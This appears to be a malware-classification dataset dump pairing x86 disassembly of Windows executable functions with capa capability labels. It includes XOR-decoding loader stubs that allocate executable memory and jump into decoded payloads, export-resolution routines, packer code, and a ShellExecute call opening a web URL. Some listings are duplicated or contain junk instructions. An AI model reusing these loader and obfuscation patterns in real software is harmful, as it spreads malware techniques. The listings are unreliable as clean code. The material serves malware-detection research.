joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7743cd2d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7743cd4f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7743cd4f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7743cd4f
ret
cmp word [ebx + 4], 0x14c
jne 0x7743cd4f
test word [ebx + 0x16], 2
je 0x7743cd4f
test word [ebx + 0x16], 0x100
je 0x7743cd4f
cmp word [ebx + 0x18], 0x10b
jne 0x7743cd4f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7743cd4f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7743cddb
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7743cd6f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77423cba
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7743cd4f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x7743cddb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7743cd4f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7743cd4f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7743cd4f
ret
cmp word [ebx + 4], 0x14c
jne 0x7743cd4f
test word [ebx + 0x16], 2
je 0x7743cd4f
test word [ebx + 0x16], 0x100
je 0x7743cd4f
cmp word [ebx + 0x18], 0x10b
jne 0x7743cd4f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7743cd4f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7743cddb
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7743cd6f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77423cba
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7743cd4f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x7743ce92
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7743ceeb
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7743ce92
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7743cea1
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77842b44
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x7743cef2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77423d68
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7743cf91
add edi, 4
add eax, 2
dec ecx
jne 0x7743ced7
call 0x7743cf3e
loope 0x7743cf34
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7743cf8e
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7743cf9f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7743cf52
cmp eax, ecx
ja 0x7743cf52
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7743cfdc
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7743cfd2
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.77424247
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x7743cea1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7743ceeb
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7743ce92
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7743cea1
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77842b44
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x7743cef2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77423d68
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7743cf91
add edi, 4
add eax, 2
dec ecx
jne 0x7743ced7
call 0x7743cf3e
loope 0x7743cf34
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7743cf8e
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7743cf9f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7743cf52
cmp eax, ecx
ja 0x7743cf52
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7743cfdc
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7743cfd2
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.77424247
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.10018aa3
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.10018aa3
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.10018aa3
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.10018aa3
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.10018aa3
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.10018aa3
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.10018aa3
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.10018aa3
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x10018aa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10018ab2
pop dword [ebp - 0x4c]
mov eax, 0x6f3e43f7
sub eax, 0x5f3cb945
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x2bdbc9b9
add dword [ebp - 0x5c], 0x22767b92
mov dword [ebp - 0x58], 0x126b8b46
sub dword [ebp - 0x58], 0xe0383f01
mov dword [ebp - 0x54], 0xfa908d95
add dword [ebp - 0x54], 0x51bbb699
mov dword [ebp - 0x50], 0x79087f71
add dword [ebp - 0x50], 0x86f7808f
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xcf097f12
sub eax, 0xbf072ec2
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xe7081d83
sub dword [ebp - 0x5c], 0x7295b42d
mov dword [ebp - 0x58], 0x933ef72b
add dword [ebp - 0x58], 0xae2d6a4a
mov dword [ebp - 0x54], 0x8cd8bb89
sub dword [ebp - 0x54], 0x29694f1d
mov dword [ebp - 0x50], 0x7d8cd0e1
sub dword [ebp - 0x50], 0x7d8cd0e1
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x6d8a464b
sub eax, 0x5d87f5f7
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b901
push 0
call eax
mov ecx, 0xfcb71030
sub ecx, 0xfcb6d0e0
xor edx, edx
add edx, eax
mov edi, 0x898ae08c
sub edi, 0x7987868c
add edi, dword [ebp - 0x4c]
mov esi, 0x3a189b20
mov dword [ebp - 0x44], 0xfc8b133
mov ebx, dword [edi]
add ebx, esi
xor dword [ebp - 0x3c], esi
mov dword [edx], ebx
sub dword [ebp - 8], esi
add edx, 0x6ac97a47
add edx, 0x953685bd
add edi, 0xcb8b7029
sub edi, 0xcb8b7025
loop 0x10018bd0
add eax, 0x89c13fc9
sub eax, 0x89c04fb6
mov ebx, eax
add eax, 0x53d1f535
add eax, 0xac2e0ad0
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x7d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d806a
add dl, dl
jne 0x7d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d80dc
xor eax, eax
add dl, dl
jne 0x7d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d817d
add dl, dl
jne 0x7d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7d8075
mov eax, 1
add dl, dl
jne 0x7d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d80e1
sub eax, ebx
mov ebx, 1
jne 0x7d8128
mov ecx, 1
add dl, dl
jne 0x7d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8136
cmp eax, 0x7d00
jae 0x7d816d
cmp eax, 0x500
jb 0x7d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
cmp eax, 0x7f
ja 0x7d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x109b3a4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x109b3ae
pushal
call 0x109b3b4
pop ebp
sub ebp, 0x10
sub ebp, 0xc9b3a4
jmp 0x109b3ca
mov eax, 0xc9b3a4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b2
mov edx, 0xac15869f
xor byte [eax], dl
inc eax
dec ecx
jne 0x109b3e1
jmp 0x109b3f4
adc al, 0x52
adc al, 0x16
mov dword [0x1e9f9f9f], eax
pop esi
lahf
lahf
lahf
pushfd
push edx
daa
lcall 0x9fb7, 0x259f9f9f
lahf
lahf
push 0x14579c7d
push ds
xchg ebx, eax
lahf
lahf
lahf
pushfd
pop edx
iretd
Function at 0x40210d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4051c0
cmp edx, dword [eax]
je 0x40212f
add eax, 8
inc ecx
cmp eax, 0x405250
jl 0x402120
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4051c0]
jne 0x40225d
mov eax, dword [0x405644]
cmp eax, 1
je 0x402237
test eax, eax
jne 0x402160
cmp dword [0x405110], 1
je 0x402237
cmp edx, 0xfc
je 0x40225d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402197
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004026c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402830
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4021da
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402830
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4043d0
push edi
call fcn.004034c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004026c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004026d0
lea eax, [ebp - 0xa0]
push 0x4043b0
push eax
call fcn.004026d0
push dword [esi + 0x4051c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004026d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040342e
add esp, 0x2c
pop edi
jmp 0x40225d
lea eax, [ebp + 8]
lea esi, [esi + 0x4051c4]
push 0
push eax
push dword [esi]
call fcn.00402830
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10013a24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10013a33
pop dword [ebp - 0x18]
mov eax, 0x38d94bbc
add eax, 0xd727ee77
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x61afb286
sub dword [ebp - 0x28], 0x135d6d3b
mov dword [ebp - 0x24], 0xdddcd3de
add dword [ebp - 0x24], 0x54567867
mov dword [ebp - 0x20], 0x630f7ad0
sub dword [ebp - 0x20], 0x16c336a2
mov dword [ebp - 0x1c], 0xa0a118a0
sub dword [ebp - 0x1c], 0xa0a118a0
lea eax, [ebp - 0x28]
push eax
mov eax, 0x97e6202b
sub eax, 0x87e45fab
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xb4fa14ff
add dword [ebp - 0x28], 0xbf785457
mov dword [ebp - 0x24], 0x9d6eb048
sub dword [ebp - 0x24], 0x5c024ed3
mov dword [ebp - 0x20], 0xf3541d87
add dword [ebp - 0x20], 0x701b4ee5
mov dword [ebp - 0x1c], 0x2187b98c
sub dword [ebp - 0x1c], 0x2187b98c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xbc0d706e
add eax, 0x53f44f92
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b249
push 0
call eax
mov ecx, 0xa30376c9
sub ecx, 0xa3031fdc
mov edx, eax
mov ebx, 0x63aa655d
add ebx, 0xac5802a3
add ebx, dword [ebp - 0x18]
mov edi, 0x2e9908cb
sub edi, 0xbba34527
xor dword [ebp - 8], esi
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
xor dword [ebp - 8], edi
add edx, 0x66361b5e
add edx, 0x99c9e4a6
add ebx, 0xe1cc30f8
sub ebx, 0xe1cc30f4
loop 0x10013b55
add eax, 0x3738d131
sub eax, 0x373782aa
xor ebx, ebx
add ebx, eax
add eax, 0xb7d079d9
sub eax, 0xb7d079d4
mov ecx, 0xbfb4939e
sub ecx, 0xafb4939e
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401290
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x415008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
mov esi, edx
mov edi, ecx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x40e1b8
push 1
push 0
push 0x40e1c8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x4012dc
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401aad
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 8]
push 0x352
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0xc]
push edx
push 0x40e1d8
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x4012ca
mov eax, dword [ebp - 0xc]
push 2
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00401aad
mov esp, ebp
pop ebp
ret

Function at 0x401350
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x518
mov eax, dword [0x415008]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
call fcn.00408820
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x310], ax
lea eax, [ebp - 0x30e]
push eax
call fcn.00408820
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x518], ax
lea eax, [ebp - 0x516]
push eax
call fcn.00408820
add esp, 0x24
lea eax, [ebp - 0x518]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x10
lea eax, [ebp - 0x310]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0
push 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x310]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x4134b4
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00402350
lea eax, [ebp - 0x108]
push eax
push 0x4134c4
call fcn.00401280
push 0
push eax
call fcn.004021b0
add esp, 0x1c
test eax, eax
je 0x401459
push 0x4134d4
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x518]
call fcn.00401290
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401aad
mov esp, ebp
pop ebp
ret

Function at 0x401470
Capabilities:
Create process on windows

Disassembly:
push esi
call fcn.00401350
push 1
push 0
push 0
push str.http:__www.51weibo.com_tiao
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x65
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
push 0
push 0x80
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
xor eax, eax
pop esi
ret 0x10